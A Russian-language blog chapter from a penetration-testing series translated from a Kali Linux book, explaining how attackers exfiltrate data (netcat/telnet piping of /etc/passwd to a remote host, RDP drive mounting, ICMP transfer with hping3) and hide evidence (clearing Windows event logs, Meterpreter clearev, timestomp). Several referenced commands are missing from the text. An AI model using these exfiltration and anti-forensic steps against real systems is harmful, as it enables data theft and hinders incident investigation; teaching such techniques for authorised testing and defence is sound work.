Kali Linux, Kali Linux для продвинутого тестирования на проникновение

#113 Kali Linux для продвинутого тестирования на проникновение. Эксфильтрация данных.

Здравствуйте, дорогие друзья.

Несанкционированная передача цифровых данных из любой среды известна как утечка данных (или вытеснение данных). Как только в скомпрометированной системе сохраняется постоянство, можно использовать набор инструментов для извлечения данных из высокозащищенных сред. В этом разделе мы рассмотрим различные методы, которые злоумышленники используют для отправки файлов из внутренних сетей в системы, контролируемые злоумышленниками.

Использование существующих системных служб (Telnet, RDP и VNC)
Во-первых, мы обсудим некоторые простые методы быстрого получения файлов, когда доступ к скомпрометированным системам ограничен по времени. Злоумышленники могут просто открыть порт с помощью Netcat, запустив nc -lvp 2323 > Exfilteredfile, а затем запустив cat /etc/passwd | telnet RemoteIP 8000 со скомпрометированного Linux-сервера.

Это отобразит все содержимое etc/passwd на удаленном хосте. В качестве примера мы извлекаем список паролей с внутреннего хоста на удаленный компьютер Kali на AWS, как показано на рисунке ниже:

Exfiltration of data from a local Kali system to a remote Kali system using Telnet

Другой важный и довольно простой метод, используемый злоумышленниками, имеющими доступ к любой системе в сети, — это запуск getgui из оболочки Meterpreter, который активирует RDP. После включения RDP злоумышленники могут настроить свою атаку на Windows таким образом, чтобы подключить локальный диск к удаленному диску и перенести все файлы с удаленного рабочего стола на локальный диск. Этого можно добиться, перейдя в «Подключение к удаленному рабочему столу» и выбрав «Показать параметры», затем «Локальные ресурсы», затем «Локальные устройства и ресурсы», нажав «Дополнительно» и, наконец, выбрав диск, который Вы хотите смонтировать, как показано на рисунке ниже:

Options in RDP settings to mount the drives

Это подключит диск D:// локального компьютера злоумышленника к системе RDP. Это можно подтвердить, войдя на удаленный IP-адрес с помощью RDP-соединения. По умолчанию, должен быть установлен дополнительный диск (X:), как показано на рисунке ниже:

Successfully mounting the attacker’s local drive to the remote desktop

Другие традиционные методы включают настройку SMB-сервера и разрешение анонимного доступа со взломанных компьютеров или использование таких приложений, как TeamViewer, плагин Skype Chrome, Dropbox, Google Drive, OneDrive, WeTransfer или любой другой службы обмена файлами в один клик для массовой передачи файлов.

Использование протокола ICMP

Существует несколько способов использования протокола ICMP для кражи файлов с помощью таких инструментов, как hping, nping и ping. В этом разделе мы будем использовать утилиту nping для кражи данных конфиденциальных документов с использованием протокола ICMP.
В этом примере мы будем использовать tcpdump для извлечения данных из файла дампа pcap. Запустите следующую команду в терминале, чтобы включить прослушиватель:

Злоумышленники должны иметь возможность видеть следующее:

Capturing the packets to receive contents

10.10.10.12 — целевой хост, от которого мы ожидаем получения данных. На стороне отправителя, как только hping3 запускается на стороне клиента (10.10.10.12), Вы должны получить сообщение «EOF достигнут», подождите несколько секунд, а затем нажмите ctrl+c, как показано на рисунке ниже. Это указывает на то, что файл был передан на целевой сервер через ICMP:

Sending the file over the ICMP using the hping3 utility

Закройте tcpdump с помощью Ctrl + C. Следующим шагом будет удаление ненужных данных из файла pcap, чтобы мы могли печатать только определенное шестнадцатеричное значение в текстовый файл, запустив Wireshark или tshark.
Ниже приведена команда tshark для фильтрации полей данных и печати только шестнадцатеричного значения из файла pcap:

Тот же шестнадцатеричный файл теперь можно преобразовать с помощью следующей однострочной команды bash, запустив: cat extfilterated_hex.txt | ххd –р –p. Наконец, Вы сможете просмотреть содержимое файла, как показано на рисунке ниже:

Extraction of hex data from pcap and decoding using xxd

Эти методы облегчаются другими наборами инструментов, такими как TeamViewer, DropBox и другие службы облачного хостинга.

Сокрытие доказательств нападения

После того, как система была взломана, злоумышленник должен замести следы, чтобы избежать обнаружения, или, по крайней мере, затруднить реконструкцию события для защищающегося.
Злоумышленник может полностью удалить журналы событий Windows (если они активно хранятся на скомпрометированном сервере). Это можно сделать через командную оболочку системы, используя следующую команду:

Команда предписывает удалить все журналы (/a), включая все файлы из подпапок (/s). Параметр /q отключает все запросы, запрашивая ответ «да» или «нет», а параметр /f принудительно удаляет файлы, что затрудняет восстановление.
Чтобы уничтожить определенные записанные файлы, злоумышленники должны отслеживать все действия, которые были выполнены в скомпрометированной системе. Это также можно сделать из командной строки Meterpreter, используя команду clearev. Как показано на рисунке ниже, это очистит журналы приложения, системы и безопасности целевого объекта (для этой команды нет параметров или аргументов):

Clearing the Event Logs in Windows

Обычно удаление системного журнала не вызывает никаких предупреждений для пользователя. Фактически, большинство организаций настраивают ведение журналов настолько бессистемно, что отсутствие системных журналов рассматривается как возможное событие, и их потеря не расследуется тщательно.

Помимо традиционных журналов, злоумышленники также могут рассмотреть возможность удаления журнала операций PowerShell из систем жертвы.

У Metasploit есть дополнительная хитрость: опция timestomp позволяет злоумышленнику вносить изменения в параметры MACE файла (время последнего изменения, доступа, создания и изменения записи MFT файла). После взлома системы и установки оболочки Meterpreter можно вызвать timestomp, как показано на рисунке ниже:

Meterpreter timestomp options

Например, C: скомпрометированной системы содержит файл README.txt. Значения MACE для этого файла указывают на то, что он был создан недавно, как показано на рисунке ниже:

Running timestomp on a specific local file

Если бы мы хотели скрыть этот файл, мы могли бы переместить его в захламленный каталог, например Windows\System32. Однако файл будет очевиден для любого, кто сортирует содержимое этого каталога на основе дат создания или другой переменной на основе MAC. Вместо этого Вы можете изменить временные метки файла, выполнив следующую команду:

Это изменит временные метки файла README.txt, как показано на рисунке ниже:

Modifying the metadata of the files to reflect false dates

Чтобы полностью запутать расследование, злоумышленник может рекурсивно изменить все установленные времена в каталоге или на конкретном диске, используя следующую команду:

Решение не идеально. Понятно, что нападение произошло. Кроме того, временные метки могут храниться в других местах на жестком диске и быть доступны для изучения. Если целевая система активно отслеживает изменения целостности системы с помощью системы обнаружения вторжений, такой как Tripwire, будут генерироваться оповещения об активности отметок времени. Таким образом, уничтожение временных меток имеет ограниченную ценность, когда требуется по-настоящему скрытный подход.

Резюме

В этом разделе мы рассмотрели различные стратегии, используемые злоумышленниками для обеспечения доступа к скомпрометированным средам, включая фронтирование домена, чтобы скрыть источник атаки, а также узнали, как скрыть доказательства атаки, чтобы замести следы и остаться в безопасности анонимно, что является последним шагом методологии cyber kill chain.

Мы рассмотрели, как использовать Netcat, Meterpreter, запланированные задачи, модули PowerShell Empire dbx и onedrive, а также импланты Covenant C2 и Poshc2 для поддержки постоянных агентов в скомпрометированных системах, а также как извлекать данные с помощью традиционных сервисов, таких как DNS, ICMP, Telnet, RDP и Netcat. Мы также узнали, как находить уязвимые доменные домены и использовать их для вредоносных действий с использованием известных CDN, таких как Amazon и Azure.

На этом все. Всем хорошего дня!

Полный цикл статей по Kali Linux для продвинутого тестирования на проникновение.